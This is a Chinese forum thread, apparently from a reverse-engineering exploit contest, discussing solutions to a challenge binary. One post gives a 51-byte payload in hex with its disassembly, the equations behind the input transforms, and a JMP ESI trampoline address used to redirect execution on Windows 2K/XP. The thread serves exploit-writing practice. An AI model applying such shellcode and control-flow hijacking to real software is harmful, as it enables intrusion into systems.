能力值:
(RANK:570 )
|
-
-
2 楼
2K和XP下都直接崩溃了~~
|
能力值:
( LV6,RANK:90 )
|
-
-
3 楼
|
能力值:
(RANK:570 )
|
-
-
4 楼
验证通过~~~
|
能力值:
( LV6,RANK:90 )
|
-
-
5 楼
我提交是67B 对平台的默认语言是有依赖性。
相信很多只能优化到60B的人都会有同样的问题。
在规则上,这没有无明确的规定, 故没有重新提交。
确实此题出的非常高超,先赞一个。优化的极限: 51B
文件数据(需要转为二进制)
b5 33 f3 ef e2 0b 79 25
B8 4F 4B 21 00 A3 60 02
40 00 A3 68 02 40 00 B8
BF 03 40 00 89 44 24 0C
8B C5 8B EC 83 C5 20 FF
E0 CC CC CC 85 03 40 00
B8 02 40
缓冲区中的代码
00BA0000 A9 9AEF00FE TEST EAX,FE00EF9A
00BA0005 F5 CMC
00BA0006 65:40 INC EAX ; 多余的前缀
00BA0008 B8 4F4B2100 MOV EAX,214B4F
00BA000D A3 60024000 MOV DWORD PTR DS:[400260],EAX
00BA0012 A3 68024000 MOV DWORD PTR DS:[400268],EAX
00BA0017 B8 BF034000 MOV EAX,4003BF
00BA001C 894424 0C MOV DWORD PTR SS:[ESP+C],EAX
00BA0020 8BC5 MOV EAX,EBP
00BA0022 8BEC MOV EBP,ESP
00BA0024 83C5 20 ADD EBP,20
00BA0027 -FFE0 JMP EAX ; ExploitM.00400385
长度计算公式
(1AH-eax)*eax-9CH = 45H
eax=D
第一转换函数我用的是穷举法直接找到输入值(大约1到2分钟就可以出结果)
计算公式
edx:eax=str[0]*(69948F1BH)+(str[4]*(69948F1BH)+str[0]*78CC02A8H))<<32
第二转换函数关系 输出均为0xD
idx=0 0x0 0xxx d s[0] 8ad397f7 s[4] 7590c53f
EB 7C jmp xxx7E 代码长度至少为 0x80
idx=1 0x5BE6FF82 1xxx A5164792 s[0] 3d6365d6 s[4] 704da9f2
代码跳出缓冲区
idx=2 0xB7CDFF05 0xxx 4A2C8F17 s[0] eff333b5 s[4] 6b0a8ea4
代码跳出缓冲区
idx=2 0xEF42D68F 0xxx 4A2C8F17 s[0] eff333b5 s[4] 25790be2
00BA0000 A9 9AEF00FE TEST EAX,FE00EF9A
00BA0005 F5 CMC
00BA0006 65:40 INC EAX ; 多余的前缀
正确执行
代理中转地址(在EXE文件中): 004002B8 FFE6 JMP ESI
平台依赖优化
***最小成功优化的代码量为60字节
***验证条件 Win32 NT框架(2K/XP),默认语言必须为 中文简体(PRC)
|
能力值:
( LV6,RANK:90 )
|
-
-
6 楼
当2K的默认语言为 美国(英语) 必定崩溃,中英版的SP4都是一样。
XP下没有测试
|
能力值:
(RANK:570 )
|
-
-
7 楼
得分125.62350477613131323448567348535
|
|
|